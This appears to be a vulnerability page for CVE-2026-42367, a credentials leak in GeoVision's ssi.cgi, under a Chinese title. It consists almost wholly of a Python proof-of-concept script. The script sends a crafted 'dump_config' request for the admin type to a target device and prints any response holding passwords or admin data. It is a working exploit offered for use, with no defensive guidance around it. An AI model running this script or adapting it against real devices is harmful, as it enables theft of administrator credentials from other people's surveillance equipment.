CVE-2026-42367 GeoVision凭据泄露漏洞

import requests # PoC for CVE-2026-42367: GeoVision ssi.cgi Credentials Leak # This script demonstrates how a crafted request can trigger the leak. target = "http://<TARGET_IP>/ssi.cgi" # Malicious payload designed to trigger information disclosure params = { "cmd": "dump_config", "type": "admin" } headers = { "User-Agent": "Mozilla/5.0 (Compatible; CVE-2026-42367-Scanner)" } try: print("[+] Sending payload to %s..." % target) response = requests.get(target, params=params, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request successful. Checking response...") if "password" in response.text or "admin" in response.text: print("[!] Potential credential leak detected:") print(response.text[:200]) # Print first 200 chars else: print("[-] Leak not triggered or patched.") else: print("[-] Server returned status code: %d" % response.status_code) except Exception as e: print("[-] Error occurred: %s" % str(e))